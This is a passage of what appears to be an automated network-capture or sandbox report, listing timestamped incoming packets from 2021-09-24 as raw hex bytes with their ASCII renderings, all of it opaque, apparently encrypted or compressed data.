Data Ascii: >DbNDr[.$@lZ2k#h=>}xL#b_Gf~RGJ<J~zg1zobQ6>>Zo"~NWB!#W$&"72dT\|~cn]!#2aWY/o@C"}=p6<O
2021-09-24 19:53:40 UTC	112	IN	Data Raw: 2c 5d 6d 0b 46 9f 7c 50 30 63 0a 51 be 70 3d 9b 88 a3 22 44 46 30 1e e2 54 40 47 dc 62 26 59 b5 da 50 f0 f5 4f a5 7b 66 05 b1 b7 0c 26 4b 1b 13 b0 fe b2 67 0b 7b e5 11 34 7a 61 14 6c c7 ca 20 b0 94 f7 00 30 4c b5 f8 da c5 e9 fe 1b 2c ac 2f df c9 b9 c8 1e 15 c6 56 be 2c 06 a2 50 c4 09 0a b9 2f b6 b2 c9 a6 cf f0 59 ed c7 0f 94 20 bd 99 c2 c6 9c fc 3d 5a 3d 23 14 35 24 03 e1 3d 00 31 74 68 05 42 e4 e8 7e fa 6a e9 74 86 a0 72 7a 23 4e 14 94 55 07 1f 4e af 95 7b 5f 2f cd 7b a6 18 05 71 3b 26 3b 80 1b be 36 c3 07 49 be 07 e6 ef 44 7f 0a 89 5a 23 fd 6b 70 ad 1e df eb 9a 79 36 b0 b3 71 98 a6 5e ea c1 d3 f6 a2 9c ab ad f2 31 7a dd a7 6c bb 0c fc e9 6b 32 92 fa 52 18 31 75 b0 06 01 8b 8d bd 18 49 8d 6c eb bc 17 26 7c 0b 20 76 d5 01 41 21 22 2c d8 9b 67 e2 f6 d5 e2 Data Ascii: ,]mF\|P0cQp="DF0T@Gb&YPO{f&Kg{4zal 0L,/V,P/Y =Z=#5$=1thB~jtrz#NUN{_/{q;&;6IDZ#kpy6q^1zlk2R1uIl&\| vA!",g
2021-09-24 19:53:40 UTC	113	IN	Data Raw: ba 4e 39 4b 8d fb 54 92 96 d2 24 ff 34 49 f9 17 e5 82 c1 a9 bf 15 c7 87 e7 a5 ab fd a8 27 34 e2 09 1d 20 6f 31 11 e2 f4 c8 34 87 32 e4 a4 d5 1f 3c e7 db b6 4e 93 aa f2 44 72 a6 79 db 43 fa 04 0e 10 01 ea 34 d5 fe 27 33 3c 01 c7 49 e7 ca 50 f8 e3 96 7a 20 c9 64 b8 0a 34 c0 0c 78 36 9d 22 7b 0c 12 84 c9 df 7b 29 da fb 02 d7 03 26 8e eb d2 c3 95 20 8a d9 17 87 89 08 74 6d eb 13 20 90 ea 20 77 7d 2f 6f eb f9 0a 11 4a 08 06 b8 65 9f 5b b5 d0 ef 67 0a a2 1d a5 4c 7a 1b 3a b4 fa 85 81 f9 0a 64 c0 6e 12 0d f7 ee 16 ca bd b1 ac b0 43 f2 7f b3 ef 2c 49 19 e3 46 c7 74 af 2c 90 d5 1a fb ed 4a 71 47 43 79 ef ce 06 af b2 b9 f9 45 86 39 77 3a 2b 39 21 7a bd 63 f0 7e 88 ea 42 1a 33 85 39 ae c5 fa 81 72 3e 80 fe ff f5 ae e5 26 e1 4f ef 14 96 ab 7a 52 75 bc b0 40 86 79 d5 Data Ascii: N9KT$4I'4 o142<NDryC4'3<IPz d4x6"{{)& tm w}/oJe[gLz:dnC,IFt,JqGCyE9w:+9!zc~B39r>&OzRu@y
2021-09-24 19:53:40 UTC	114	IN	Data Raw: e9 23 fc 5d ac 04 ea b0 fc 5c 06 96 98 31 4e 32 8c 73 5e 54 e6 5b 96 e4 dd 15 78 ab 28 86 41 f3 59 da f7 a3 96 4d bd fe d7 02 e9 10 06 39 57 7d da 56 ce 1c 0d 5a a6 91 67 31 93 96 19 1c 17 ad c9 72 93 42 af d8 bd 29 e3 1f 95 1f 1d a6 50 09 61 b7 ba 38 a2 b4 7f d8 51 5f eb 7f f6 19 d3 26 f9 23 52 90 d8 fb 91 c0 b6 95 0d d2 79 f7 82 b9 cb 39 dc 19 e9 0c 02 04 87 bf 0b f5 e0 fa 36 87 2d ea 51 cb 29 d1 e5 fe ad 89 08 a5 68 6f a6 2b 52 c4 58 e8 03 11 21 19 fe 1d 3a f4 14 24 b1 00 e9 45 f0 df 4f 88 30 84 71 26 c7 72 b1 ff 35 fd 0f 5f 8c 63 23 57 1c 72 8f cb ce 76 25 f8 1a 0d e8 0e 0d 92 ff e5 c6 60 21 b7 c3 0b cd 6f df 50 73 f3 00 de 8a f4 64 6e 69 38 6d eb e6 31 e4 54 04 f4 a8 4e 90 3d 54 07 ec 68 02 5f 9f 78 4f e5 a7 1b 73 ff 7b 52 f7 2c 18 37 6f 03 00 f9 d6 Data Ascii: #]\1N2s^T[x(AYM9W}VZg1rB)Pa8Q_&#Ry96-Q)ho+RX!:$EO0q&r5_c#Wrv%`!oPsdni8m1TN=Th_xOs{R,7o
2021-09-24 19:53:40 UTC	115	IN	Data Raw: 6e c3 e4 7a c9 94 fd 03 90 26 fc ee 0c d2 35 e2 29 d0 bd 1e 1d da cb a5 16 15 c2 6b a0 34 1e 28 cf e6 d2 19 a1 3e ab 8e 0d e0 ce f0 4c e6 d4 78 4d 3e ad b5 56 80 9d f6 31 43 1f e4 c9 35 2e 12 f9 29 17 d8 a3 de 10 54 da 3f cb fa 60 e1 79 9d 7d a4 78 28 41 e6 8d af 04 14 c2 63 e1 70 57 23 df a5 03 88 17 7a 14 2c 23 9a 0f b2 3f 10 82 5f 50 2e 23 e8 4c 5f 1d 92 41 fe 2b 69 7e 9d bb df c7 9e 78 27 05 6e a5 15 87 4f e4 d1 d4 fe bf 43 bd d3 03 2c 84 da e4 70 b9 0a ca f3 99 cf 6b 88 8b 1f 31 6e a4 14 ee 84 b0 a5 c0 24 a7 99 ea b8 13 75 22 0b 20 78 ce 07 53 04 78 47 da 91 73 9e 3a d5 f3 43 5b 47 22 05 91 53 e1 60 e6 52 c6 b6 e6 41 70 c9 1b 51 11 53 31 76 28 42 db 59 14 72 ff 52 23 c1 6b aa 3c af 81 52 ee 00 c2 2e 58 57 7b 48 b0 78 e3 9a 1a 5a 5f 53 49 ff b3 04 8f Data Ascii: nz&5)k4(>LxM>V1C5.)T?`y}x(AcpW#z,#?_P.#L_A+i~x'nOC,pk1n$u" xSxGs:C[G"S`RApQS1v(BYrR#k<R.XW{HxZ_SI
2021-09-24 19:53:40 UTC	116	IN	Data Raw: c9 58 f8 02 16 ff 0b d9 0a 29 84 42 39 4f 05 4b fe fb 0f 40 3d de 53 fc 0b d8 6f a3 f9 2c ff 09 40 90 90 35 85 16 2d 8c d1 dd 7d 36 ec 08 1c f7 fb 0c af c3 fc c1 9b 26 8a d7 99 48 5c 09 58 64 ea 13 7b 9a f5 64 65 65 28 6f e7 f0 31 ea c7 1b 0a a9 63 27 25 4b c5 c7 cc 15 89 04 86 a1 6a 10 2f 8c d9 86 ad e2 91 14 31 7c 1f 0b f7 e6 67 e4 be 9d af 97 ae 1c 8b 4c e1 2e 45 2b 1d 56 e6 60 ba db 86 2f a7 f9 e2 41 19 d5 4a 79 f8 d2 94 ba 4c b8 d4 46 82 a6 cc 2f b4 88 30 f8 43 a8 c1 73 9d 5b 40 1d 27 80 25 a7 f8 ac 80 5e 3d 97 67 5b eb aa eb 3d ed 54 11 04 b1 c1 65 7c f5 90 a4 46 c1 97 d4 d8 e8 88 05 d5 94 d7 36 68 e0 17 2f 2c bc 28 89 b6 1c 26 55 be f6 f8 62 79 f2 6e cb d3 57 2a a5 f9 de 67 b4 1c fa 30 9a 13 5b e1 69 49 11 a9 d5 c6 c0 19 b6 3a 8c ee ad 03 6e 13 ae Data Ascii: X)B9OK@=So,@5-}6&H\Xd{dee(o1c'%Kj/1\|gL.E+V`/AJyLF/0Cs[@'%^=g[=Te\|F6h/,(&UbynW*g0[iI:n
2021-09-24 19:53:40 UTC	118	IN	Data Raw: f3 df 37 50 db db 4a b9 0c 49 fa 66 30 68 95 98 0b 27 6c a4 31 bb 85 9c b2 c2 4e e7 87 e3 42 10 22 6f 03 31 78 48 a6 62 4c 52 4c c9 9e 6d 9c 3a c2 1c 47 6d ba 3b 3a 85 51 8b 22 fe ac c3 98 9b 05 62 cd 05 98 1e 48 33 76 32 ad df 6c ef 65 de 4c 26 c9 71 a8 3c b4 6e 56 d4 fb e8 c7 47 53 6d 4d a1 6c fe 7b 10 88 57 0c f2 d4 b6 36 0b 38 9b 92 cc 53 e7 69 97 3b 1d 29 6f d6 37 2c 8b 95 35 a5 ff 9a 85 20 33 3a ad dc 80 bf 04 3a a5 61 71 f0 44 35 91 64 c9 44 f9 67 a6 2a c0 82 f5 61 11 92 ce 5b dd ea 41 18 ae eb 2e f3 8b 7f bd b4 b0 b7 af fb 6b ee f3 6e 15 37 ab 76 f9 74 38 cf a5 41 e2 10 2f 6d ea ea 11 67 ec 32 d4 9c 87 1e 77 39 97 52 50 4b ee a5 97 c8 2b 66 78 b8 2a 0e e5 f8 c8 55 32 bf 4c 4b 60 6c ed fc e8 3d 1e 38 59 68 82 70 f1 e6 1b 8c 21 b9 71 36 90 14 b1 0d Data Ascii: 7PJIf0h'l1NB"o1xHbLRLm:Gm;:Q"bH3v2leL&q<nVGSmMl{W68Si;)o7,5 3::aqD5dDga[A.kn7vt8A/mg2w9RPK+fxU2LK`l=8Yhp!q6
2021-09-24 19:53:40 UTC	119	IN	Data Raw: b8 df 41 a6 74 c3 39 a3 99 a5 65 6b b9 c0 60 b5 e8 73 07 24 18 0d b1 d0 05 22 4f 15 9c 64 5c ce 09 fa 30 f8 50 c7 c6 9e b4 77 bb f9 97 a4 47 e8 90 f7 c9 c1 b6 0f 5a ab d1 2f e4 45 06 0c 39 bb 3b b0 12 0a 20 fd bb d9 2b 69 51 e5 78 46 de f5 3b a3 f5 c2 60 97 ae f1 24 b8 ba 48 e1 6f 55 8f a2 dc d2 e9 ce a1 2e a2 5a 20 04 64 3b be 2a fd 5e d8 45 f1 9a 69 fc c6 06 e1 e7 ed a0 93 79 18 69 eb 94 76 15 05 9e 6a 64 8b 8a f1 5d ea 7b d3 55 46 72 0e 9e 95 04 25 55 4f 20 b6 f1 70 3b 99 ca 4a 8f 51 a4 d8 9c c0 e7 5d af 65 a8 5e ae a0 63 d3 5e 0f 01 b0 45 b3 67 0b 7b a3 13 34 76 5a 31 7f c2 e4 14 c9 94 fd 22 bc 5f bf e9 63 4e e3 ef 1b 2c b1 6a 0f d8 b0 fb 06 1e b2 6f a8 3d 14 04 f3 d1 d3 1f b8 31 ae 5a f1 a6 cf f1 60 f0 d6 03 04 17 b1 b2 2b c1 85 7b 32 4b 35 fa d1 05 Data Ascii: At9ek`s$"Od\0PwGZ/E9; +iQxF;`$HoU.Z d;*^Eiyivjd]{UFr%UO p;JQ]e^c^Eg{4vZ1"_cN,jo=1Z`+{2K5
2021-09-24 19:53:40 UTC	120	IN	Data Raw: 4e 0c 7d 7b 37 4f c4 6e b5 2a ff 83 f5 61 0f 93 e2 5b dd ea 3a d8 b8 c3 87 d5 95 66 90 9e a4 b2 bf 13 42 2a f2 79 0c 1a 42 65 fc 61 1a 85 a4 6d ea 17 37 44 a6 01 c6 1f e8 5d 00 8a 0a 13 5d 39 8d 76 41 5f f9 06 97 c8 dc 4e e4 a9 28 8a 41 e1 57 fe f0 80 be 58 b6 e7 d0 71 ef 3c 15 3b 4a 7e 18 ef 7a c6 1a 86 03 92 62 31 94 8c 2e ff 05 a6 c3 4f d4 4e 4d cd b9 a2 f1 15 8c 39 d0 a2 ad f6 9f bd bd 27 8a 06 74 c7 40 b5 c2 af f9 6a d5 3c 74 22 41 96 c6 f4 a1 da 95 92 2e 9b 85 f6 a8 16 dd 75 31 30 c7 08 14 31 1b b1 21 f2 ff ee 0f 2f 32 f5 a5 e2 99 c2 e6 fd 92 50 9b b2 b4 6b 6b b4 5c ec b2 eb 0f 04 3b ec 0b e2 d4 21 05 2a 6a ff d3 64 e1 d9 4c 88 9e 85 71 2a 04 1c 54 f5 35 ea 17 53 90 8e 33 61 3f 56 8d c9 c8 58 18 ff 05 05 94 7d 0d 83 fe d2 df 9c 20 9d bd ff c5 77 0f Data Ascii: N}{7Ona[:fByBeam7D]]9vA_N(AWXq<;J~zb1.ONM9't@j<t"A.u101!/2Pkk\;!jdLqT5S3a?VX} w
2021-09-24 19:53:40 UTC	121	IN	Data Raw: 64 72 3b 97 9d 76 1b 79 6c 30 19 8f ae 2e 8d d8 74 43 83 a6 d2 82 87 df 5f af 65 a6 bc 7b a2 63 d8 25 e5 14 98 e0 a0 69 1e 73 a1 04 34 6d 5e 25 7a 39 cd 63 e9 85 fe 1b 98 4a 69 80 e0 d4 e3 e5 7e ba bc 1e 17 c0 df 68 16 15 cc 12 21 3c 0f 26 f4 d7 cc 0c b8 2b ba 9b 67 b9 dc 0e 49 c8 c8 12 07 2e a7 de c7 c5 9c fc 5a cc 34 fb c8 3e 44 9a e9 2c 06 49 2b f3 1a 58 c0 1e 6b e9 77 e1 74 99 67 81 97 2c 73 14 9d 93 15 79 ea 1a a7 77 48 01 cf 64 7e df 01 65 1a cd 2b a5 10 a3 2b 3d b6 53 ae 29 27 ca 44 75 08 b0 63 fb 2b 72 42 77 45 de eb 8f 70 23 c8 79 62 8f b0 b1 e5 fc de e5 bf 53 a0 d1 11 30 6b cc d7 76 44 0d da f3 5e e2 94 95 98 05 3c 6c b6 09 01 92 83 95 3c 5e ce 92 fb b6 08 d8 77 00 3f 54 d5 06 50 3d 5a 5e 24 9a 41 84 4c 6f e2 46 4b b3 3a 3a 97 51 8b 30 f8 7a 3c Data Ascii: dr;vyl0.tC_e{c%is4m^%z9cJi~h!<&+gI.Z4>D,I+Xkwtg,sywHd~e++=S)'Duc+rBwEp#ybS0kvD^<l<^w?TP=Z^$ALoFK::Q0z<
2021-09-24 19:53:40 UTC	123	IN	Data Raw: da be 90 ed e7 c3 ff b6 84 06 cc 87 f6 fd b4 cc 56 2d 18 e9 0a 4a 37 b9 a0 10 e6 eb fa 3d 8c 32 f4 af ca 05 c2 7b f7 ba 5f f4 b3 b2 78 7a a4 79 c4 57 e9 0f 0e 1b 0a f5 1c 30 cf 02 38 15 00 c5 49 e4 d8 57 f6 cb 8f 73 36 b7 8e a3 f4 3f f3 5b 73 89 9f 35 14 1f 00 8f c3 c4 76 1e 61 05 03 f1 2d 6b 82 f4 f0 dd ed 06 9a d2 02 d7 73 18 5c 71 ca 2c f2 9d f3 73 e9 71 2f 7e e1 f5 26 fe 4d 32 09 0b 73 83 20 58 f9 27 60 15 83 1f aa 58 43 39 21 a4 02 93 20 ef 0d 0b 3d 7c 14 1a e0 fd 6e 96 34 b1 a6 ae f0 f0 72 a7 ea 0f 9e 27 1d 4d fa 7b b8 0d ad 07 8b ee fe d8 36 54 48 78 ed c3 08 bb 5a bc 77 44 88 a3 d4 11 6d 8f 28 68 7a bd d5 5b bc fd 51 17 24 19 35 b1 d0 05 93 58 26 8e 66 5f 6a 26 fa 30 f3 e6 fe 03 89 a0 59 64 75 90 ae 56 ed 97 fc f4 e6 a0 1f c0 19 d6 2f e5 e6 03 3b Data Ascii: V-J7=2{_xzyW08IWs6?[s5va-ks\q,sq/~&M2s X'`XC9! =\|n4r'M{6THxZwDm(hz[Q$5X&f_j&0YduV/;
2021-09-24 19:53:40 UTC	124	IN	Data Raw: 77 7a d8 14 01 91 32 2a 8d 08 c9 ac 14 9d 52 86 c2 0d ee 4e 70 16 66 53 ed d5 79 77 8d 69 99 e9 95 f5 87 a2 fd 72 98 a8 4d e6 ab 5c e6 ac 42 95 9a 04 30 70 a6 4b 7b ba 08 f3 ec 64 4b 17 94 98 1e 33 04 25 08 10 81 b4 5f c0 5f e8 9a ef 32 a6 73 e2 0b 20 78 c4 13 2b aa 4c 46 de b3 35 8f 3f df 9f c3 40 b9 27 03 80 51 89 17 e5 52 ff b5 9d 07 78 c8 1f 9a 0d 5b 26 4b 07 52 de 40 ea 62 d7 4c cb cd 5d ad 3b d4 13 56 f8 fa bd 70 5a 40 62 65 c9 68 e6 8f 1a b8 4d 7b 4b c5 b2 26 fe 20 a4 99 ce 39 9d 76 69 3e 19 76 64 c1 eb 3a 87 98 26 b1 fb 96 7e 3d e1 35 83 af 12 ba 0d af 81 2b 60 f5 4e 3a 87 7d 37 54 d1 6d aa fc d6 ab e0 65 62 9b e4 5b d9 95 5c cd ac e1 0c ac 94 6c b2 b9 be be aa 01 6a d3 f4 61 f8 33 87 73 fe 10 4d 30 a4 69 9e 49 2b 55 b0 3d 97 99 eb 57 0c 85 94 10 Data Ascii: wz2*RNpfSywirM\B0pK{dK3%__2s x+LF5?@'QRx[&KR@bL];VpZ@behM{K& 9vi>vd:&~=5+`N:}7Tmeb[\lja3sM0iI+U=W
2021-09-24 19:53:40 UTC	125	IN	Data Raw: 3d 05 84 a9 f7 01 91 19 42 1e 2d f9 e7 66 68 a0 ad 8e 82 50 e1 72 99 90 59 cf 27 1d 43 f4 72 36 00 aa 0c ad f7 e4 75 bf 54 48 79 e1 cf 31 90 4e b8 d3 7f e0 c9 59 38 a5 8a 37 6c f1 9c ec 7c b1 e6 5f 31 ab 94 32 b1 cf 0e a8 73 35 88 76 62 88 d4 63 31 f2 40 f0 0a 07 91 5c a3 52 8f ab 67 4b 83 d4 d8 fd b2 31 fb 96 d1 29 cf 89 69 b6 2c af 2b 87 a1 90 05 da a0 d7 f0 7a 71 57 6e cb d9 ea 28 8a cc d4 74 b9 27 9b 5a 2b 93 59 e5 70 4e 06 8b f8 c8 e7 12 b3 0e 63 4d ad 03 7c 13 92 3b de 49 d1 39 99 8f 57 fc c2 18 51 6c eb 99 89 4b 2f d8 cb 5d 7c 01 2d 40 41 49 8f 9d 7a 70 84 05 4b 47 64 67 33 9b 18 ad 37 5a 69 3e 07 c0 82 2f 8d de 7d 3d 79 89 d0 88 ee 09 34 d1 fa bf d3 ad bf 77 48 6f 36 1b be f9 a7 47 e0 53 b2 13 29 54 64 38 6e c1 e6 21 b6 0d f6 0a 96 42 aa 75 29 fb Data Ascii: =B-fhPrY'Cr6uTHy1NY87l\|_12s5vbc1@\RgK1)i,+zqWn(t'Z+YpNcM\|;I9WQlK/]\|-@AIzpKGdg37Zi>/}=y4wHo6GS)Td8n!Bu)
2021-09-24 19:53:40 UTC	127	IN	Data Raw: 98 44 e4 85 17 8e 30 01 d2 d5 b6 38 1f 1d 12 b2 e1 4d c4 68 55 1a 97 23 66 c1 fe 28 bc b1 24 a0 f9 a1 ea 42 54 3a 81 d0 8e 86 97 8e 84 72 44 ea 79 04 3b 7b 37 45 c2 5a 8c 00 d7 81 df 0d 67 87 e4 5b d9 f4 10 56 89 c6 2a f3 8a 52 98 04 a3 b2 b9 12 42 ef f2 79 00 18 c1 19 65 6a 32 35 bb 52 7a 1e 07 5b 9c 0a d1 b8 5a 5f 06 9c 9b 3c 70 3b 8c 64 7f 25 af 3c 96 c8 d2 79 38 33 0d ad 5d dd 59 a2 c4 1f 94 5c b6 fe d5 d4 c5 3e 15 3c 74 04 72 5e d8 c6 1e 93 6a 20 42 1c 9d bc 19 4f 24 6c cb 63 98 40 5a f1 bc 27 f2 13 a0 41 23 3c ac f6 9a b6 eb a9 87 88 7b e1 55 e3 ca 86 ff 6a d3 3b f6 0d 6c 94 c7 e1 a8 a5 c8 1d 07 cc 83 e9 ed 2e e9 7b 29 3e f6 49 34 d3 bb a0 02 f9 e7 d2 0a 8e 32 f3 85 a0 7b 5b e7 f7 be 40 dd 28 97 55 7e 80 66 80 78 19 0d 0e 01 11 dd 30 29 ff 0d 12 25 Data Ascii: D08MhU#f($BT:rDy;{7EZg[V*RByej25Rz[Z_<p;d%<y83]Y\><tr^j BO$lc@Z'A#<{Uj;l.{)>I42{[@(U~fx0)%
2021-09-24 19:53:40 UTC	128	IN	Data Raw: bb b8 58 0c a2 2a bb 26 37 26 49 34 99 26 b5 6f 13 57 e7 16 49 f7 ee 2a 41 f6 c8 9e e9 13 a9 cb eb 90 63 6d b7 78 44 6b ab 82 10 7a 19 7f d2 46 7b 76 04 a5 80 88 1c 7f 25 5f 8d e1 52 2b 92 b3 f8 09 7c aa f4 97 85 03 56 aa 63 be cf 81 8d 61 d2 4c 31 7b e6 7f b2 67 05 4c dc 89 11 51 46 1c 71 a9 ec 41 cd 94 f7 15 82 75 92 ed 0c d0 c9 85 6f a4 bc 1e 19 c7 df 7a 32 38 c8 5b b7 52 2f 32 e2 d3 d3 04 83 11 b8 8a 76 8c a1 8e d1 e5 d6 07 11 4f 37 94 06 c8 ba e9 45 6b 10 fe c2 26 34 03 c0 01 0e 26 a4 d8 70 2c 55 00 7f fe 7f 90 ff ab 55 aa 4f 32 2e 38 ba 86 16 16 dd 30 8a 73 57 21 f6 1d 00 57 17 7a 14 2c 58 13 2f 9f 21 33 82 24 8e 12 0a ee 44 6a 1b b0 7f f9 2b 7e 51 eb 3b 47 ea 90 7f 2f ac e3 56 b5 a3 69 fb a3 f8 b1 a9 46 bd dd 0b 18 57 d9 c8 7c 90 62 88 63 67 30 90 Data Ascii: X&7&I4&oWIAcmxDkzF{v%_R+\|VcaL1{gLQFqAuoz28[R/2vO7Ek&4&p,UUO2.80sW!Wz,X/!3$Dj+~Q;G/ViFW\|bcg0
2021-09-24 19:53:40 UTC	129	IN	Data Raw: c7 d9 c6 3a 02 2c ba 67 26 ba b7 04 0e 02 8c 4b 1d 01 5e 51 dd b1 b3 f2 15 8a b5 78 88 bc d0 be 3f a9 33 a2 85 fb c0 4a a1 fd 7b d0 68 d3 22 d3 a7 3f 0f c6 e7 86 eb 21 84 06 cc 1d d3 83 a5 ea 76 b1 18 e9 0a 34 a7 be a0 02 fc c3 d7 25 8c 34 df 2d b4 9c c3 e6 f3 9a c7 99 b2 b2 e2 55 8b 68 e2 78 71 0f 0e 01 2a 61 1a 2b ff 12 10 62 03 c5 4f cb 5f 29 7e c8 85 75 00 41 6f a2 f4 af c9 29 52 a7 bd bb 7b 17 01 af 5e c9 70 36 e2 0f 2b d6 07 0d 85 de 7c ae 07 21 9b d6 28 5e 77 09 58 ff c7 29 e4 bb d5 fe 64 76 2f 5e 41 e1 20 ef 54 2e 22 84 60 85 32 66 57 91 f8 14 89 0a 8e d7 6b 10 25 3e 21 a9 bf ce 2d 90 3c 6f 12 2b 4d ec 79 1a a0 bb 8e 82 50 e1 72 99 78 59 cf 27 1d 43 cb e3 ac 25 87 99 ae c5 fb 73 11 c8 48 79 fe e5 ac ba 4c b8 ca 58 a6 9a c2 39 a3 a4 aa 1c f2 b8 c1 Data Ascii: :,g&K^Qx?3J{h"?!v4%4-Uhxq*a+bO_)~uAo)R{^p6+\|!(^wX)dv/^A T."`2fWk%>!-<o+MyPrxY'C%sHyLX9
2021-09-24 19:53:40 UTC	130	IN	Data Raw: 3f ad b1 0b 02 94 f6 35 54 38 d3 ef 24 2b 14 c2 aa 72 bf a3 f2 1e 72 71 01 7f fa fa c4 48 9c 5e 84 d4 2d 5f 18 ac 51 1e 16 c0 07 bc 59 7a 25 dc 75 54 4c 68 e3 11 33 2e a9 b4 b2 2e 15 07 73 83 3e 29 ce fa 75 02 98 72 16 23 78 7b 9f 6d f3 e9 90 7d 1a 59 07 ea 99 ac 4b c4 6f d8 e7 ac dc 98 ef 14 16 5a 64 c8 7a ba 2c 07 f2 66 30 8b b4 b0 37 33 7f a7 23 96 fb 05 b3 c2 5b c2 58 ea bc 11 94 41 27 32 5a e6 d1 50 2c 4d 66 c8 92 6d 8d 20 da ca 6b 43 b9 25 03 02 2f 03 26 e7 56 e2 75 9d 07 71 53 3a a6 0a 6e 02 b2 28 53 de 60 cb 7a d3 57 2e e4 5c bb 39 a9 ba d1 86 67 c2 02 5f 60 aa 4d b0 69 7c a0 3c b6 78 5f 89 d4 b6 3c 20 07 81 97 cc 5d c1 5f 44 38 31 27 4c 43 9f b8 95 9c 22 80 3c 8b 80 3c 57 1e ac c5 b7 9b ce ab a9 7c 42 bc 4d 24 94 64 1f 68 d7 72 a7 28 51 f9 6c 66 Data Ascii: ?5T8$+rrqH^-_QYz%uTLh3..s>)ur#x{m}YKoZdz,f073#[XA'2ZP,Mfm kC%/&VuqS:n(S`zW.\9g_`Mi\|<x_< ]_D81'LC"<<W\|BM$dhr(Qlf
2021-09-24 19:53:40 UTC	132	IN	Data Raw: 8b fd 6d fb d0 9a 00 78 d2 08 c4 ed 2c 75 77 c4 24 15 9d f5 64 44 1a 22 7e e0 f9 03 c7 66 26 0a af 48 03 4a d5 d0 ef 65 35 6d 0e ae 4c f1 35 08 b6 22 a4 49 e8 0d 0b 1c e0 1f 0b e6 f4 72 32 92 b3 a6 a9 78 67 0a 2a ff 27 52 06 f8 47 eb 7f 36 00 aa 11 ad c8 0c 55 31 54 68 e3 f3 c5 19 a2 46 90 f8 57 8e b1 ea bb db 17 29 62 6f 99 27 73 97 f9 cb 34 1e 85 14 91 36 04 80 5e 17 2c 7d 48 e6 b6 d2 1d f0 44 e9 2f 1f ca e8 ad 74 94 84 a0 e9 83 d4 42 c7 8d 08 f0 b4 36 2f e5 e7 37 85 20 af 2f 82 99 27 22 f7 a9 db 6d 14 c8 e2 6e cf f9 1d 3b a2 e1 4c 51 92 1c d7 04 5a 92 59 e1 4f f1 91 ae d5 df e9 20 a0 2e a2 67 2f 7d fd 3a bf 3d fe a6 fb 53 e7 8c 73 d1 d7 21 63 1f ce b4 87 4d 81 c7 eb 94 60 29 00 5f 69 62 a7 1f 02 c3 eb 7b d6 66 8e 63 2c 88 18 ad 37 44 69 01 fe e0 52 2f Data Ascii: mx,uw$dD"~f&HJe5mL5"Ir2xg*'RG6U1ThFW)bo's46^,}HD/tB6/7 /'"mn;LQZYO .g/}:=Ss!cM`)_ib{fc,7DiR/
2021-09-24 19:53:40 UTC	133	IN	Data Raw: e2 42 61 b3 22 29 80 cb bf 0a f6 74 e2 be 9c 07 71 e9 21 84 1b 48 3e 5b 05 51 de 46 c0 f5 ad ce 34 cc 75 99 32 ae 90 57 62 db ee 10 7d 60 63 4c b0 69 c6 c1 1e a4 5e 60 40 fc 9b 3e 00 27 a2 11 b2 db e3 77 6d 1a 3d 20 66 c1 7b 04 b9 8e 00 80 f3 8a 80 3c ed 74 8e d4 91 a4 00 83 84 7e 62 f3 6e a2 ea e0 36 45 d1 52 ac 03 d7 87 6f 42 34 0c c3 7b d0 ea 2e cc 8c b7 2b d5 95 73 aa 9c 8c b0 b9 03 40 40 8e e0 07 32 af 47 f2 6a 32 31 3e 48 cd 2a 0c 75 b4 14 ee 98 cb 33 09 9c 87 0a 75 14 8e 62 53 61 57 db 0e c9 d6 62 58 a6 29 80 52 61 63 cf f6 8e b6 53 b7 e1 c6 dc 9e 33 15 3a 41 7e 24 ea db c6 1c a6 a9 c4 fe 30 92 9e 26 1e 05 a6 c9 f9 bd 72 40 ff b1 35 f3 15 8a 0f d7 aa ad f6 82 81 84 31 a2 a3 5e 41 34 38 eb 53 f9 4a c2 25 f9 25 db b3 ea f5 a4 eb a7 85 06 cc a7 66 a1 Data Ascii: Ba")tq!H>[QF4u2Wb}`cLi^`@>'wm= f{<t~bn6ERoB4{.+s@@2Gj21>H*u3ubSaWbX)RacS3:A~$0&r@51^A48SJ%%f
2021-09-24 19:53:40 UTC	134	IN	Data Raw: d8 f0 cf a2 19 d0 be 57 51 7c e6 17 2b 0d 9e 2e 98 b1 90 05 da bd d7 cf 5b 50 e3 6e eb e1 e4 3b a2 fe df 5c 92 0f f1 22 98 10 27 78 6e 5f 98 8e e7 c7 c1 0d 38 0b 89 5c 8b 23 56 3a bf 39 fe 0e ea 53 e7 0b 7e d1 c4 07 45 dc 48 ca 1e 6c 30 ce cb a7 7d 01 2d c7 4c 49 9f bb 5c 69 eb 7b d2 66 2c 72 2c 88 9d 82 32 78 4d 21 12 ca d4 51 14 df 62 28 71 90 d3 88 e8 b9 7b 82 71 98 f3 9d a1 63 d2 6a 49 04 98 e6 ac 69 29 7e b0 13 32 56 cf 44 f7 c6 cc 4b e8 a1 f6 0a 92 c7 9a c2 1e f0 c3 da 10 3d bd 3e 7d c9 b0 e0 08 1b ee 50 aa 3d 09 06 65 ad 4a 18 ab 38 9a bc 71 a6 cf 6a 6d c9 c7 25 2e 09 ac b1 2b e7 f2 e7 35 4b 2c d3 ef 24 2b 14 c2 ae 72 bf a3 f2 1e 72 fb 00 7f fa fa c4 48 9f 5e 84 5e 2c 5f 18 ac f2 07 16 c0 01 8f 5c 55 27 da 59 f8 b0 8f 7b 10 37 0a b1 0b b2 2e 8f b8 Data Ascii: WQ\|+.[Pn;\"'xn_8\#V:9S~EHl0}-LI\i{f,r,2xM!Qb(q{qcjIi)~2VDK=>}P=eJ8qjm%.+5K,$+rrH^^,_\U'Y{7.
2021-09-24 19:53:40 UTC	135	IN	Data Raw: 1e 07 44 9c 35 b9 99 eb 5d 26 d3 93 14 5d 24 a4 4f 57 4b d7 8f 15 b6 4f 67 78 ad 08 d8 53 fb 46 78 c1 85 87 7a 96 b9 c7 fc e8 1c 43 2e 5e 6a 16 ef f4 c4 1a 8a 01 38 19 a8 93 9a 02 2e 5d a7 c9 63 02 7a 7c c8 b7 05 ab 14 8a 2f 7d ff b9 f6 9e b2 81 1e a0 a5 72 ed cc df 73 52 fd 6e f3 7e f8 25 41 0c e2 ca 90 ed 96 de 07 cc 87 d6 f1 a0 cc 56 39 20 c1 27 16 37 bf 8a 84 98 72 fb 27 88 12 ae ae ca 05 58 c3 da a8 79 b9 e9 b3 78 70 86 ee d0 58 e9 10 24 29 27 f7 1d 2d d5 89 46 d6 00 c5 4d c1 85 56 e7 c9 1f 54 0d c9 49 82 a8 34 ec 04 60 40 89 22 7b 00 29 a2 cb ce 76 1c 7b 7b 9a fa 05 09 a3 a9 fb d0 9e ba be ff 1a e2 57 54 59 65 e2 24 34 89 f5 64 7b 7c 07 53 e2 e6 26 c5 c9 5a 93 a8 62 81 14 12 d0 ef 61 8f ac 23 bf 6a 4b 4e 24 a4 04 a4 61 